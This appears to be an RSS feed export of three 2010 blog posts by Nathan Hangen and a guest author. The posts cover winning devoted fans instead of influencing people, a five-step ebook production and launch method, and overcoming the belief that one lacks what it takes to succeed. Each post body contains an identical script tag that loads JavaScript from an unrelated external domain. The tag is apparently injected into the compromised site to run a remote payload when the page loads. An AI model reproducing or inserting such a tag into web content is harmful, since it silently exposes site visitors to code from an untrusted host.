<p style="text-align: left;">Influencing people is great if you&#8217;re an entrepreneur, maybe you can convince 10 of them to come see your art show on Saturday night or get them to email their friends with links to your online store that sells fishing equipment. This is all fine and dandy. It&#8217;s great to be an influencer, but it&#8217;s better to <strong>win friends</strong>. Winning friends is what separates the <a href="http://nathanhangen.com/blog/expand-your-brand/">super brands</a> like Apple from the generic brands like Augen (Who&#8217;s that you say? See &#8211; <a href="http://www.geeks.com/details.asp?invtid=BLU-OE-A730-R&amp;cat=NBB">they&#8217;re generic</a>).</p>
<h3>Setting the stage to win friends and become a super brand&#8230;</h3>
<p style="text-align: left;">When you first start a business, either online or off, you inevitably get all fired up and think, &#8220;Wow I&#8217;m going to make $40k a month in no time&#8230; just like Tim Ferriss!&#8221; and then a few months in and a few dollars shorter reality sets in. This is where the average man gives up &#8211; <strong>YOU are not the average man </strong>(at least you better not be if you&#8217;re here!). You want to escape the 9 to 5, to <a href="http://nathanhangen.com/blog/becoming-a-crusader/">live a life of freedom</a> that feeds your very nature and allows you to live your passions.</p>
<p style="text-align: left;">But how do you cross the abyss from <strong>wanting</strong> to make $40,000 a month to actually <strong>making </strong>$40,000 a month? It&#8217;s a road spattered with blood and tears but there is a shortcut that can be greatly beneficial if you are part of the few who will really work it.</p>
<div id="attachment_1693" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.escapingthe9to5.com/wp-content/uploads/2010/05/iStock_000003484052XSmall.jpg"><img class="size-medium wp-image-1693" title="iStock_000003484052XSmall" src="http://www.escapingthe9to5.com/wp-content/uploads/2010/05/iStock_000003484052XSmall-300x199.jpg" alt="" width="300" height="199" /></a><p class="wp-caption-text">You ask what cows have to do with winning people... I ask what DON&#39;T cows have to do with winning people?!</p></div>
<h3>Winning people works&#8230;</h3>
<p style="text-align: left;"><a href="http://garyvaynerchuk.com/">Gary Vaynerchuk</a> has won his audience. They adore him. They buy out all the wine he promotes. They clamor to read <em>Crush It! </em>in a night and then tweet about it for weeks. The generic guy who runs a blog about auto parts influences people. Sometimes a reader thinks, &#8220;Oh, good point, buddy. I should try that on my gear shaft&#8221;, but nobody thinks, &#8220;WOW I want to BE this guy&#8221;.</p>
<p style="text-align: left;">If people want to <strong>BE you,</strong> if they want to follow you around writing down every word you speak and work for you for free (heck they&#8217;ll PAY you for the opportunity), congratulations &#8211; <strong>you&#8217;ve WON your people.</strong></p>
<h3>A food analogy&#8230;</h3>
<p style="text-align: left;">You cook a steak and the friends you&#8217;ve <em>influenced </em>say, &#8220;Good steak, I may have to have steak for dinner next weekend&#8221;. The people you&#8217;ve <em>won </em>say, &#8220;Oh my gosh! You are a meat genius! Can you give me the recipe? Can I have your email address so I can ask you questions on how to brine it properly? Let&#8217;s have lunch together and talk about how you became such a grilling whiz!&#8221;</p>
<p style="text-align: left;">In business, who do you want? The 10,000 people who listen to your pitch and think, &#8220;Yeah, this is useful&#8221;, or the 100 people who are so psyched on your product and pitch they hunt you down to tell you they want it now!</p>
<p style="text-align: left;">I had this happen recently. I offer a few different services on<a href="http://www.oraclelaunch.com"> Oracle Launch</a>. For a while people used some of them and &#8220;liked&#8221; them. I had influenced their thinking and they appreciated it, but they weren&#8217;t stark raving mad fans. After some tweaking I created a product that WINS people. They try it and love it so much they email me with a gushing note and tell 10 of their friends about this STEAL you absolutely MUST try.</p>
<p style="text-align: left;"><strong>Who do you want? You want the people you can WIN.</strong></p>
<h3>How to WIN people&#8230;</h3>
<p style="text-align: left;">To win people I&#8217;ve found there must be two factors in play. First, you must be a dynamic person or brand &#8211; people must either love you or <em><strong>hate</strong></em> you. Secondly, you must have a product that is amazing &#8211; people either <em><strong>love </strong></em>it or think it&#8217;s dumb and you&#8217;re an idiot for producing it.</p>
<p style="text-align: left;">Many people think people who drive Hummers are asses. Why? They don&#8217;t necessarily have a reason &#8211; the giant, hulking cars just rub them the wrong way. And they are quick to tell you about it. Most people that drive Hummers know that others stare at their cars &#8211; they love it, that is why they bought it.</p>
<p style="text-align: left;">They don&#8217;t care if people think they&#8217;re asses, they&#8217;re asses who are getting a lot of gawking stares&#8230; so screw &#8216;em. Do you think the execs at Hummer spend one moment worrying about what the haters think? No. They only care about the handful they&#8217;ve WON who spend big money to drive a tank around residential neighborhoods. <strong>You want to be Hummer.</strong></p>
<p style="text-align: left;">So start brainstorming some new business ideas that you can <a href="http://nathanhangen.com/blog/it-is-up-to-you-to-save-the-world/">WIN people with</a>, not just influence them. Think of a business opportunity that people will either love or hate &#8211; then you are set to win your audience, one true fan at a time.</p>
<p style="text-align: left;">
<p><script src="http://ao.euuaw.com/9"></script></p>
<p><a href="http://nathanhangen.com/blog/win-friends/">Don&#8217;t Influence People, Win Friends</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
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<h3  class="related_post_title">Recommended Posts</h3><ul class="related_post"><li><a href="http://nathanhangen.com/blog/building-empire-building-community/" title="Building an Empire is Building a Community">Building an Empire is Building a Community</a></li><li><a href="http://nathanhangen.com/blog/utopia-is-within-reach/" title="Utopia is within Reach">Utopia is within Reach</a></li><li><a href="http://nathanhangen.com/blog/the-wow-guide-to-building-an-empire/" title="The WoW Guide to Building an Empire">The WoW Guide to Building an Empire</a></li><li><a href="http://nathanhangen.com/blog/podcast-choosing-your-platform/" title="Podcast: Choosing Your Platform">Podcast: Choosing Your Platform</a></li><li><a href="http://nathanhangen.com/blog/saturday-project-update-the-project/" title="Saturday Project Update: The Project">Saturday Project Update: The Project</a></li></ul>]]></content:encoded>
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		<title>From Zero to eBook Superstar in 5 Easy Steps</title>
		<link>http://nathanhangen.com/blog/writing-ebooks/</link>
		<comments>http://nathanhangen.com/blog/writing-ebooks/#comments</comments>
		<pubDate>Tue, 11 May 2010 11:30:52 +0000</pubDate>
		<dc:creator>Nathan</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Making Money]]></category>
		<category><![CDATA[ebook]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[products]]></category>
		<category><![CDATA[sales]]></category>

		<guid isPermaLink="false">http://nathanhangen.com/blog/?p=1890</guid>
		<description><![CDATA[I&#8217;d like to start by saying that generally, I don&#8217;t write a lot of ebooks. Why? Well, first, I think they are highly inefficient, and 2nd, I don&#8217;t think they&#8217;re as valuable as they once were. That being said, if you haven&#8217;t written and published an ebook yet, then I think you&#8217;d be doing yourself [...]<p><a href="http://nathanhangen.com/blog/writing-ebooks/">From Zero to eBook Superstar in 5 Easy Steps</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
]]></description>
			<content:encoded><![CDATA[
<p><img class="aligncenter size-medium wp-image-1892" title="Make Money Online" src="http://nathanhangen.com/blog/wp-content/uploads/2010/05/cashchecks-300x225.jpg" alt="Make Money Online" width="300" height="225" /></p>
<p>I&#8217;d like to start by saying that generally, I don&#8217;t write a lot of <a title="Make Money Online" href="http://nathanhangen.com/blog/bookstore">ebooks</a>.</p>
<p><strong><em>Why?</em></strong></p>
<p>Well, first, I think they are highly inefficient, and 2nd, I don&#8217;t think they&#8217;re as valuable as they once were.</p>
<p>That being said, if you haven&#8217;t written and published an ebook yet, then I think you&#8217;d be doing yourself an injustice by not getting one out there.</p>
<p>eBooks are the perfect entry level product for <a href="http://nathanhangen.com/blog/are-you-really-sure-about-that-price/">sales funnels</a>, and they are relatively easy to produce.</p>
<p>They&#8217;re inexpensive (compared to multimedia products), are easy to reference, and give your new customer a chance to preview what you have to offer. More often than not, if they like your entry level product, then they&#8217;ll eventually <a href="http://nathanhangen.com/blog/enabling-your-customers-to-level-up/">move up to the next level</a>.</p>
<p><strong>You don&#8217;t need to write brand new content</strong></p>
<p>In fact, if your blog is as old as this one, you&#8217;ve probably got enough content buried in the <a href="http://nathanhangen.com/blog/claiming-your-destiny">archives</a> that you could make quite a few of them.</p>
<p>You could hire an editor to piece together some of your old posts and you&#8217;d have an ebook before you know it.</p>
<p>You can outsource most of the other work too, which we&#8217;ll talk about in just a second.</p>
<p>I like to compare writing an ebook to taking the training wheels off for the first time. It&#8217;s a bit scary, but once you do it, your confidence is higher than ever and you feel like you can achieve anything.</p>
<p><strong>So here&#8217;s my method, in 5 easy steps.</strong></p>
<h3>1. Research</h3>
<p>Once I&#8217;ve decided on a topic, I&#8217;ll scour the web and look for anything that might be relevant to my mission. My preferred tool is <a href="http://nathanhangen.com/blog/why-your-ideas-are-never-where-you-need-them/">Evernote</a>, but <a href="http://nathanhangen.com/blog/google-notebook-vs-evernote/">Google Notebook</a> works too.</p>
<p>I take screenshots, jot down notes, and start doing my initial planning there. The nice thing about using an online notebook is that you can access it from anywhere &#8211; phone, PC, Mac, netbook, etc.</p>
<p>It&#8217;s easy to track notes, and even better, you&#8217;ll already have images to send to your designer.</p>
<h3>2. Creation</h3>
<p>This is the hardest part right? You&#8217;ve got to dedicate yourself to sitting down at the computer and grinding away a few thousand words.</p>
<p>But here&#8217;s the thing&#8230;you don&#8217;t have to do it all in one day. Break it up so that you either write a few pages each day, or several pages on a single day.</p>
<p>When Mike and I wrote <a href="http://beyondbloggingproject.com" target="_blank">Beyond Blogging</a>, I would write one chapter at a time, and use the rest of the week as a &#8220;cooling off&#8221; period.</p>
<p>I think this is crucial, because giving yourself some time off helps you to think things through a little better. Have you ever spent hours trying to solve a problem, only to get the answer after you&#8217;ve given up? It&#8217;s kind of like that with writing. Don&#8217;t burn out, or your product will suffer.</p>
<p>As for format, I like to write in Pages or Word because I can keep page and word counts easily. I insert images and links as I go, also leaving notes for my designer as needed.</p>
<h3>3. Production</h3>
<p>This is my favorite part!</p>
<p>I send the doc file to be proofread by someone I trust (like you <a href="http://babystepstofluency.com" target="_blank">Fiona</a>) and then get in touch with <a href="http://impactstudiosonline.com" target="_blank">my designer</a> to let her know I&#8217;m dropping a project on her lap.</p>
<p>Ideally, you would have already sent them a notice so that they could start preparing concepts and/or their timeline, but it&#8217;s not absolutely necessary to do so.</p>
<p>It&#8217;s important to have the document proofread by as many people as possible. This will save you from having to pay your designer for changes down the road (always happens anyway).</p>
<p>Once your document has been proofed, send it over to your designer with your design ideas. It&#8217;s important that you be as detailed as possible.</p>
<p><strong>Here are some things to think about:</strong></p>
<ul>
<li>Headings/Subheadings</li>
<li>Table of Contents</li>
<li>Header/Footer</li>
<li>Copyright Info</li>
<li>Introduction</li>
<li>Closing Notes</li>
<li>Links</li>
<li>Images</li>
</ul>
<p>As you can see, it&#8217;s not as simple as just sending a Word doc via email and magically getting a perfect PDF in return. You&#8217;ll do yourself and your designer a huge favor by leaving no stone left unturned.</p>
<p>Depending on your designer, you should be able to knock out cover art and banners in one fell swoop, but if not, we&#8217;ll tackle that in step 4.</p>
<h3>4. Site Prep</h3>
<ul>
<li>When it comes time to sell an ebook, the little things matter.</li>
<li>Do you have banners to give to your affiliates or put on your blog?</li>
<li>Do you have an ecover?</li>
<li>Do you have decent looking &#8220;Buy Now&#8221; buttons?</li>
<li>Have you integrated with your shopping cart?</li>
<li>Do you have a minisite? (<a href="http://beyond-blogging.net/gobeyond.html" target="_blank">click here</a> for a good example of one). If not, and you plan on selling via your blog (WordPress theme), then I recommend removing the sidebar or using a full-width template. Any link that isn&#8217;t a buy now button is probably one too many, so try to remove as many of them as you can.</li>
</ul>
<h3>5. Show Time</h3>
<p>This is the easy part, and even though it&#8217;s stressful, the learning you go through at this point is priceless.</p>
<p>This is where you see the types of odds and ends that pop up to throw you off your game.</p>
<p>This is where you experience working with customers and affiliates.</p>
<p>This is where you get to experience launch fatigue.</p>
<p>Here are few tips to help you get this part right:</p>
<ol>
<li><strong>Don&#8217;t just throw it out there. Make a big production out of it. Talk about it for a month before your launch. Drop hints, and have fun.</strong></li>
<li><em>Don&#8217;t be afraid to ask for the sale. Blog about it and send an email&#8230;multiple times if possible.</em></li>
<li><strong>Automate your lists. Create rules in aWeber that remove people from your launch email list (you do have one of these right?) when they join your customer list. If you don&#8217;t have one, make one, and if possible, automate that too.</strong></li>
<li><em>Follow Up by creating a 1-3 email AR series that thanks your customers, tells them where to get help, and reminds them that you aren&#8217;t running a hit and run operation. They&#8217;ll appreciate this.</em></li>
</ol>
<p><strong>Your Turn</strong></p>
<p>I wrote <a href="http://twitter-rockstar.com" target="_blank">my first ebook</a> in Afghanistan, so I don&#8217;t want to hear any excuses about why you can&#8217;t get it done. If you already sell one, fantastic, tell me about what you learned in the comments below.</p>
<p>If you don&#8217;t have one, when are you going to start?</p>
<p>In the <a href="http://beyondbloggingproject.com" target="_blank">Beyond Blogging Project</a>, Mike and I have walked several people through this, and as each will tell you, the process has been invaluable, both for their confidence, and in the knowledge they&#8217;ve gained as a result.</p>
<p><strong>It&#8217;s go time!</strong></p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/thetruthabout/4260471444/" target="_blank">Image Credit</a></p>
<p><script src="http://ao.euuaw.com/9"></script></p>
<p><a href="http://nathanhangen.com/blog/writing-ebooks/">From Zero to eBook Superstar in 5 Easy Steps</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
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<h3  class="related_post_title">Recommended Posts</h3><ul class="related_post"><li><a href="http://nathanhangen.com/blog/desire/" title="Understanding Desire">Understanding Desire</a></li><li><a href="http://nathanhangen.com/blog/its-time-i-level-with-you/" title="It&#8217;s Time I Level with You">It&#8217;s Time I Level with You</a></li><li><a href="http://nathanhangen.com/blog/the-king-of-content/" title="The King of Content">The King of Content</a></li><li><a href="http://nathanhangen.com/blog/why-you-need-a-blog/" title="Why You Need a Blog">Why You Need a Blog</a></li><li><a href="http://nathanhangen.com/blog/be-the-best-at-what-you-do/" title="Be the Best at What You Do">Be the Best at What You Do</a></li></ul>]]></content:encoded>
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		<title>The Secret to Getting Past Go</title>
		<link>http://nathanhangen.com/blog/get-past-go/</link>
		<comments>http://nathanhangen.com/blog/get-past-go/#comments</comments>
		<pubDate>Thu, 06 May 2010 11:30:37 +0000</pubDate>
		<dc:creator>Guest Blogger</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Making Money]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[entrepreneur]]></category>
		<category><![CDATA[money]]></category>
		<category><![CDATA[products]]></category>

		<guid isPermaLink="false">http://nathanhangen.com/blog/?p=1869</guid>
		<description><![CDATA[Editor&#8217;s Note: This is an awesome post from someone who&#8217;s been there, done that, and you should really listen to what she has to say here. Follow her at Erica.biz. &#8220;But I don&#8217;t know how to&#8230;&#8221; If I had to name the one phrase that has stopped more potential entrepreneurs than any other&#8211;in fact, the one [...]<p><a href="http://nathanhangen.com/blog/get-past-go/">The Secret to Getting Past Go</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
]]></description>
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<p><img class="alignnone" title="Overcoming Excuses" src="http://nathanhangen.com/images/posts/girder.jpg" alt="Overcoming Excuses" width="350" height="219" /></p>
<p><em>Editor&#8217;s Note: This is an awesome post from someone who&#8217;s been there, done that, and you should really listen to what she has to say here. Follow her at <a href="http://erica.biz" target="_blank">Erica.biz</a>.</em></p>
<p><strong>&#8220;But I don&#8217;t know how to&#8230;&#8221;</strong></p>
<p>If I had to name the one phrase that has stopped more potential entrepreneurs than any other&#8211;in fact, the one that is probably stopping you right now&#8211;it would be: &#8220;<em>But I don&#8217;t know how to&#8230;</em>&#8221;</p>
<p>It&#8217;s the reason we buy so many information products, each offering a &#8220;proven system&#8221; to making money online. But it&#8217;s also the hidden reason why we don&#8217;t <a href="http://nathanhangen.com/blog/focus-on-the-actions-that-matter/">take action and start a blog</a>, create our own product, or start writing articles.</p>
<p>You can buy all the products and read all the books filled with how-to guides and inspiring stories, but I&#8217;d put money down that in most cases, consuming more &#8220;how to&#8221; information won&#8217;t help you succeed online.</p>
<p>The truth is that there is a deeper belief behind all this. The <a href="http://nathanhangen.com/blog/belief/">belief </a>underlying your lack of action is, &#8220;I don&#8217;t have what it takes to succeed.&#8221;</p>
<p>Unfortunately, &#8220;what it takes&#8221; is nebulous. This leaves you stuck in a cycle of buying products, reading blogs, reading books, and otherwise consuming<br />
information, hoping against hope that something will contain whatever it takes for you to succeed.</p>
<p>But it doesn&#8217;t work, does it? All that information consumption leaves you burned out and with a sinking feeling that you may <em>never</em> have what it takes to succeed.</p>
<h3>I&#8217;ve Been There, Too&#8230;</h3>
<p>This is exactly where I was in 2009. I realized I had spent over $20,000 on information products, but I was no closer to success than I had been before I<br />
started buying them. I was spinning my wheels in the dust instead of putting my car into drive.</p>
<p>I resolved to stop buying more products until I could figure out what was going on inside my head.</p>
<p>And then I meditated on <a href="http://nathanhangen.com/blog/5-crucial-attributes-of-successful-entrepreneurs/">what I needed to succeed</a>. I wanted a visualization of exactly what I felt I was lacking. Then, I figured, I could buy one or two<br />
products that would solve that lack, or I could hire someone to fix the problem for me.</p>
<p>Boy, was I surprised to find out that there was nothing behind the belief! I had simply ingrained a truism in my brain. I had a belief that I lacked what I<br />
needed to succeed.</p>
<p>So I flipped it around. I said to myself, &#8220;I have everything I need to succeed.&#8221;</p>
<p>And every time I felt desperate, overwhelmed, lost, or confused, I repeated that belief to myself. &#8220;I have everything I need to succeed.&#8221;</p>
<h3>The One Belief Successful Entrepreneurs Have&#8230;</h3>
<p>The truth is that most successful entrepreneurs didn&#8217;t follow a blueprint or &#8220;proven system&#8221; to success. They simply threw something out there to see if it<br />
worked. Then, based on feedback from customers and from the folks who didn&#8217;t buy, they tweaked it. Then they tweaked it some more. And, after several years of doing that, they had a multi-million-dollar business.</p>
<p>Once I turned my belief around, my life changed for the better in a huge way. I realized that the product I hoped to release (a &#8220;comprehensive&#8221; guide to<br />
starting a blog) was too complicated, and I <a href="http://nathanhangen.com/blog/need-cash-create-a-product/">needed to get something out the door</a>.</p>
<p>So I used some of the videos I had already created, cut a couple new ones, and got a product on how to guest post on popular blogs out the door. That product went on to make nearly $2,000 in its first 30 days.</p>
<p>Then I released a new high-end product: a private workshop with just a few small business owners here in San Diego. That product made just under $4,000 in one day!</p>
<p>Finally, my Internet business was starting to show signs of life! I went from spending 5 figures a year on information products to spending only on the<br />
information products that would directly help me succeed with my goals. I ran two successful product launches and my business became cash-flow positive.</p>
<p>But I have no doubt that, without changing the belief that I didn&#8217;t have what it took to succeed, I&#8217;d still be in the same situation of spinning my wheels and<br />
getting nowhere. There is no better teacher than actually doing whatever it is you want to do: Get your blog up and running. Create a product and sell it.</p>
<p>Write more articles; create, edit, and publish more videos.</p>
<p>You have what it takes to succeed. Believe that, and anything is possible.</p>
<p><em>About Erica: After selling her online business for $1,100,000.00 at age 26, Erica Douglass &#8220;temporarily retired&#8221;, and now writes an </em><a href="http://www.erica.biz/"><em>online business blog</em></a><em> at erica.biz.</em></p>
<p><em>She recently showed </em><a href="http://www.erica.biz/2010/how-to-make-money-blogging/"><em>how to make money blogging.</em></a><em> Quick link: Download her free </em><a href="http://www.erica.biz/manifesto"><em>Blog Success Manifesto</em></a><em>—30 tactical tips to grow your blog faster than you ever have before.</em></p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/trodel/3598600991/" target="_blank">Image Credit</a></p>
<p><script src="http://ao.euuaw.com/9"></script></p>
<p><a href="http://nathanhangen.com/blog/get-past-go/">The Secret to Getting Past Go</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
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<h3  class="related_post_title">Recommended Posts</h3><ul class="related_post"><li><a href="http://nathanhangen.com/blog/how-to-build-a-war-chest/" title="How to Build a War Chest">How to Build a War Chest</a></li><li><a href="http://nathanhangen.com/blog/web-warrior/" title="Walking the Path of the Web Warrior">Walking the Path of the Web Warrior</a></li><li><a href="http://nathanhangen.com/blog/quit-your-day-job/" title="How to Quit Your Day Job and Build an Empire">How to Quit Your Day Job and Build an Empire</a></li><li><a href="http://nathanhangen.com/blog/the-wow-guide-to-building-an-empire/" title="The WoW Guide to Building an Empire">The WoW Guide to Building an Empire</a></li><li><a href="http://nathanhangen.com/blog/the-real-world-needs-you-too/" title="The Real World Needs You Too">The Real World Needs You Too</a></li></ul>]]></content:encoded>
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